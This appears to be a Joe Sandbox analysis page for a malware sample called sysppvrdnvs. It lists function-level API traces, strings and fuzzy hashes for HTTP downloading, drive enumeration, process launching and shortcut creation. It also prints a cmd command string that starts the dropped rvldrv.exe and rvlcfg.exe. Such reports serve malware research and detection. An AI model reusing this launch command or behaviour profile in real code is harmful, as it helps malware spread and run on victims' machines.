Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction ID: bd9536bbadbf21864e97b89de5b907373c0f6f38ddabaab6f1c3dd09ba998754
Opcode Fuzzy Hash: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction Fuzzy Hash: C7211AB1940308FBEB109BA0DD49FEE7B78EB04711F14852AF601BA1D0DBB99544CF69

Function 0040E640 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E668
InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E7FA
InternetCloseHandle.WININET(00000000), ref: 0040E837
InternetCloseHandle.WININET(00000000), ref: 0040E844
InternetCloseHandle.WININET(00000000), ref: 0040E851

Strings

GET, xrefs: 0040E72B
<, xrefs: 0040E670

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction ID: bd69c55cfb2b9f93b8bf7ceaaaaaf86fc3309545456039a657a23fe3286800e0
Opcode Fuzzy Hash: 74e573df251a3fdd9775996cb884078f57aebd0a6693bdda84868dee8850155f
Instruction Fuzzy Hash: F75109B1A41228ABDB36DB50CC55BE973BCAB44705F0484E9E60DAA2C0D7B96BC4CF54

Function 00406F70 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406F7E
GetModuleFileNameW.KERNEL32(00000000,00415DB8,00000104), ref: 00406F90

Part of subcall function 0040F1F0: CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
Part of subcall function 0040F1F0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
Part of subcall function 0040F1F0: CloseHandle.KERNEL32(000000FF), ref: 0040F232

ExitThread.KERNEL32 ref: 004070FA

Part of subcall function 004063E0: GetLogicalDrives.KERNEL32 ref: 004063E6
Part of subcall function 004063E0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
Part of subcall function 004063E0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
Part of subcall function 004063E0: RegCloseKey.ADVAPI32(?), ref: 0040647E

Sleep.KERNEL32(000007D0), ref: 004070ED

Part of subcall function 00406300: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040702F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00407044
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040705F
wsprintfW.USER32 ref: 00407072
wsprintfW.USER32 ref: 00407092
wsprintfW.USER32 ref: 004070B5

Strings

(%dGB), xrefs: 00407066
%s%s, xrefs: 004070A9
Unnamed volume, xrefs: 00407086

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction ID: b797a4b926279b24144ff746e96c568fb56fd9e530b7e1178aba5a8e6206bca3
Opcode Fuzzy Hash: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction Fuzzy Hash: 244174B1D00214BBEB64DB94DC45FEE7779BB48700F1085A6F20AB61D0DA785B84CF6A

Function 0040F240 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040F272
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040F293
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040F2B2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F2CB
memcmp.NTDLL ref: 0040F35D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040F380
CloseHandle.KERNEL32(00000000), ref: 0040F38A
CloseHandle.KERNEL32(000000FF), ref: 0040F394
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F3B3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040F3D8
CloseHandle.KERNEL32(000000FF), ref: 0040F3E2

Strings

.#v, xrefs: 0040F38A, 0040F394, 0040F3E2

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID: .#v
API String ID: 3902698870-507759092
Opcode ID: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction ID: 91565a6fedc79cda49cfd97bae5198494bb6489b7e374c7f74ac69d8e3e388a5
Opcode Fuzzy Hash: 397832f4b3c545954de9817604727ce70a7a27c44a74f567f7741af6b4247064
Instruction Fuzzy Hash: 75514BB4E40308FBDB24DBA4CC49F9EB774AB48304F108569F611B72C0D7B9AA44CB98

Function 0040DD50 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040DD56
GetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD5D
GetCurrentThread.KERNEL32 ref: 0040DD68
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480,?,000000FF), ref: 0040DD6F
InterlockedExchangeAdd.KERNEL32(00408480,00000000), ref: 0040DD92
EnterCriticalSection.KERNEL32(000000FB), ref: 0040DDC7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040DE12
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040DE2E
Sleep.KERNEL32(00000001), ref: 0040DE5E
GetCurrentThread.KERNEL32 ref: 0040DE6D
SetThreadPriority.KERNEL32(00000000,?,?,?,00408480), ref: 0040DE74

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: 15ec6ce41066bd2df298828df26a4308ea05a03792f046612c1f6ffbd780898a
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 1B412C74E00209DBDB04DFE4D844BAEBB71FF54315F108169E916AB381D7789A84CF99

Function 0040BC70 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(004165F8,?,?,?,?,?,?,00408403), ref: 0040BC7B
CreateFileW.KERNEL32(004163E0,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040BCCD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040BCEE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040BD0D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040BD22
UnmapViewOfFile.KERNEL32(00000000), ref: 0040BD88
CloseHandle.KERNEL32(00000000), ref: 0040BD92
CloseHandle.KERNEL32(000000FF), ref: 0040BD9C

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Strings

.#v, xrefs: 0040BD92, 0040BD9C

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: .#v
API String ID: 439099756-507759092
Opcode ID: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction ID: 789285c27e92e60cc42243599a26330008c438e37824d2da8ff51af530b364ad
Opcode Fuzzy Hash: 95b7ad4b48b2612a2ac74941d1961fd8d23959eee21eec156b7f746c57c5f411
Instruction Fuzzy Hash: 0F413A74E40309EBDB10EBA4DC4ABAEB774EB44705F20856AF6117A2C1C7B96941CB9C

Function 00405C00 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00415B88,?,?,?,?,?,004083CD), ref: 00405C0B
CreateFileW.KERNEL32(00415FC8,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,004083CD), ref: 00405C25
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C46
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C65
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C7E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405D0B
CloseHandle.KERNEL32(00000000), ref: 00405D15
CloseHandle.KERNEL32(000000FF), ref: 00405D1F

Strings

.#v, xrefs: 00405D15, 00405D1F

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: .#v
API String ID: 3956458805-507759092
Opcode ID: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction ID: 999418e1eeb904d95552c7fd1475d0c30f1e1fd8627807f9f1e65d0b0efdc9c4
Opcode Fuzzy Hash: d5d83b1f14bbe53c7a306cab709472362fb8432e959898be764c548cb6fd93a9
Instruction Fuzzy Hash: DE310E74E40209EBDB14DBA4DC49FAFB774EB48700F20856AE6017B2C0D7B96941CF99

Function 0040F400 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60sleepprocessCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040F40E
memset.NTDLL ref: 0040F41E
CreateProcessW.KERNEL32(00000000,00407D11,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040F457
Sleep.KERNEL32(000003E8), ref: 0040F467
ShellExecuteW.SHELL32(00000000,open,00407D11,00000000,00000000,00000000), ref: 0040F482
Sleep.KERNEL32(000003E8), ref: 0040F49C

Strings

D, xrefs: 0040F426
open, xrefs: 0040F47B
, xrefs: 0040F491

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction ID: 03d024a0b9a73c413bf1553ab10d0ee3a8ab15297eec0ef6a9417e1ec1830951
Opcode Fuzzy Hash: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction Fuzzy Hash: ED112B71A80308BAEB209B90CD46FDE7778AB14B10F204135FA047E2C0D6B9AA448759

Function 004060A0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,00000000,0040C2A2,006A0266,?,0040C2BE,00000000,0040D66C,?), ref: 004060AF
memcpy.NTDLL(?,00000000,00000100), ref: 00406141
CreateFileW.KERNEL32(00415FC8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406265
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 004062C7
FlushFileBuffers.KERNEL32(000000FF), ref: 004062D3
CloseHandle.KERNEL32(000000FF), ref: 004062DD
LeaveCriticalSection.KERNEL32(00415B88,?,?,?,?,?,?,0040C2BE,00000000,0040D66C,?), ref: 004062E8

Strings

.#v, xrefs: 004062DD

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: .#v
API String ID: 1457358591-507759092
Opcode ID: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction ID: a605c5c2860c2acc1241a09a2373603bf375adc509756cd8cb030c585388e075
Opcode Fuzzy Hash: e72a487dce04114ef622edc0900d7397c89588e022fce289eeb1184eb778240f
Instruction Fuzzy Hash: D171BCB4E042099FCB04DF94D981FEFB7B1AF88304F14816DE506AB381D779A951CBA9

Function 00406660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040666B
CoCreateInstance.OLE32(00413030,00000000,00000001,00413010,00000008), ref: 00406683
wsprintfW.USER32 ref: 004066C4
wsprintfW.USER32 ref: 004066E5

Strings

/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe, xrefs: 004066B8
/c start %s & start %s\rvlcfg.exe, xrefs: 004066D9
%comspec%, xrefs: 004066EE
cl@, xrefs: 004066A0

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: wsprintf$CreateInitializeInstance
String ID: %comspec%$/c start %s & start %s\rvlcfg.exe$/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe$cl@
API String ID: 1147330536-497122036
Opcode ID: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction ID: e126a915917d584c7bd6e3cca15df18ca7e9be12ab45cc4692bb8e15b90f0fb7
Opcode Fuzzy Hash: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction Fuzzy Hash: 67411D75A40208AFC704DF98C885FDEB7B5AF88704F208199F515A72A5C675AE81CB54

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction ID: f2cbb4ded8662be063e38a6044f3a63d93470e371ff4fbf655dea468244fd3f8
Opcode Fuzzy Hash: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction Fuzzy Hash: 4F51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040E310 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Sleep.KERNEL32(000003E8), ref: 0040E36E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

LOCATION: , xrefs: 0040E395
HTTP/1.1 200 OK, xrefs: 0040E37F

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction ID: e67ba9521a541be798431772fb319970cc3d6429c6b3b7a9c3ce28b53cac335a
Opcode Fuzzy Hash: adc9e1b642c8ef13301026d6139dd454e63dc363d970614d04e973e17512e1fe
Instruction Fuzzy Hash: 5E2130B0940218ABDB20CB65DC45BE9BB74AB04308F1085E9EB19B72C0D7B95AD6CF5D

Function 0040F4B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040F4C7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F4E6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F50F
InternetCloseHandle.WININET(00000000), ref: 0040F538
InternetCloseHandle.WININET(00000000), ref: 0040F542
Sleep.KERNEL32(000003E8), ref: 0040F54D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F4C2

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction ID: af5d65e8d2fa993cc87ce820da5284d466d7432e490674ab1d3698c460306143
Opcode Fuzzy Hash: eac7a16544c45e3c29eec32ac406d7a69024a54342cccca2c138cb753e28bf4a
Instruction Fuzzy Hash: E7212975A40308BBDB20DF94CC49FEEB7B5AB04705F1084A5EA11AB2C0C7B9AA84CB55

Function 0040ECC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

deviceType, xrefs: 0040ED86
device, xrefs: 0040ED73

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction ID: 03739fb7cbf0ac8b4f24cf275543a684364e3b5b0ef8f18e7a9da7a5ef98527e
Opcode Fuzzy Hash: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction Fuzzy Hash: 1A413A75A0020ADFCB04DF99D884BAFB7B5FF48304F108969E505A7390D778AA91CB95

Function 0040EB60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

service, xrefs: 0040EC13
serviceType, xrefs: 0040EC26

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction ID: 010777473a756836e58c8d4bedbd534eac8e5d19c37eb4cb5fbe46cee8795b1d
Opcode Fuzzy Hash: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction Fuzzy Hash: 9F416A74A0020ADFDB04CF99C884BAFB7B9BF48304F108969E505B7390D779AE81CB95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000012.00000002.2492009237.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2491992466.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.2492052130.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction ID: a453b5b0d0ea6fd4c501cc83d62b7a74cd48d0bc9ee55fa6e36116878b1ddbe7
Opcode Fuzzy Hash: 3ac2f8f5af7b0d3c40b8ef892d708a394eff8d7b565022b2108cc4f7acf51177
Instruction Fuzzy Hash: D231D1722012059BC710AFB5ED8CAE7B7A8FB44314F04863EE55AD3280DB78A4449BA9

